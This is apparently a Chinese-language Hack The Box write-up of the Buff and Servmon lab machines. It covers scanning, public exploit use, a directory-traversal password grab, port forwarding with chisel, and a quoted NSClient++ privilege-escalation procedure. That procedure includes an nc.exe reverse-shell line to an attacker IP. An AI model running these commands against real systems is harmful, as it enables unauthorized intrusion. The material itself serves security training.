HTB-oscplike-Buff+Servmon
终于把论文初版写好了 恁妈这老师死命催 交了又拖着不给我改 那催勾八呢
好几天没打了 这两天先康复训练一下
Buff
easy难度的buff 靶机IP 10.10.10.198
sudo nmap -sV -sC -A -p- --min-rate=1000 -Pn 10.10.10.198
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
8080翻到看到contact栏 本来想看能不能利用 结果发现版本号
那就直接searchsploit gym management 1.0
直接有脚本可以打穿…
连上去后拿到user的flag 33e1b010e447b491cf612679bf75ee1b
提权 netstat -ano 发现8888端口是被诡异的监听的 PID是8780
tasklist里找了一下没找到 后来发现这个PID是在那狂变的
netstat -ano;tasklist 对照找到进程是 CloudMe.exe
where.exe /R c:\ cloudme*.* 找到路径
c:\Users\shaun\Downloads\CloudMe_1112.exe
接着searchsploit看到有这个版本的缓冲区溢出
依然是贴心的写了msf的方式的 修改里面该修改的参数
但是这是一个python脚本 windows上是没有环境的
那么很明显就是要做一个端口转发了
./chisel server -p 7887 --reverse
./chisel.exe client 10.10.14.17:7887 R:8888:localhost:8888
然后kali本地执行就行了 弹回shell拿到root的flag
39cfac2fddce43c0877a7d8df0a89df6
Servmon
继续继续 easy难度的servmon 靶机IP 10.10.10.184
sudo nmap -sC -sV -A -p- --min-rate=1000 -Pn 10.10.10.184
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0)
80/tcp open http
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5666/tcp open tcpwrapped
6063/tcp open x11?
6699/tcp open napster?
8443/tcp open ssl/https-alt
一个个来 21直接ftp用anonymous连上去 在nadine文件夹下有Confidential.txt
打开看到
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
然后Nathan下看到Note to do.txt 里面写着
- Change the password for NVMS - Complete
- Lock down the NSClient Access - Complete
- Upload the passwords
- Remove public access to NVMS
- Place the secret files in SharePoint
searchsploit nvms看到一个非常简单的目录遍历
那么结合上下文 我们要做的就是通过目录遍历访问到那个Passwords.txt
burp里一堆…/后面拼接上users/nathan/desktop/passwords.txt得到
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
咋恁多啊 爆破或者嗯登都行 最后得到Nadine/L1k3B1gBut7s@W0rk
ssh连上去 本来想弄个powershell结果报毒了 那就直接继续
systeminfo没权限 基本告别内核提权 whoami /all 土豆也寄了
进程一下子也没看出什么花头 入口多半不在这里
往回看那个note 看到一个NSClient还没有利用到
searchsploit发现有一个提权 有七步需要做
- Grab web administrator password
- open c:\program files\nsclient++\nsclient.ini
or - run the following that is instructed when you select forget password
C:\Program Files\NSClient++>nscp web – password --display
Current password: SoSecret
- Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler
- Download nc.exe and evil.bat to c:\temp from attacking machine
@echo off
c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe - Setup listener on attacking machine
nc -nlvvp 443 - Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
- foobar
command = c:\temp\evil.bat
- Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
- foobar
interval = 1m
command = foobar
- Restart the computer and wait for the reverse shell on attacking machine
nc -nlvvp 443
一步步做就完事了 找到密码ew2x6SsGTxjRwXOT
同时文件里还指出只允许127.0.0.1访问 因此要做一下端口转发
然后就一步步做完就弹回shell了 打完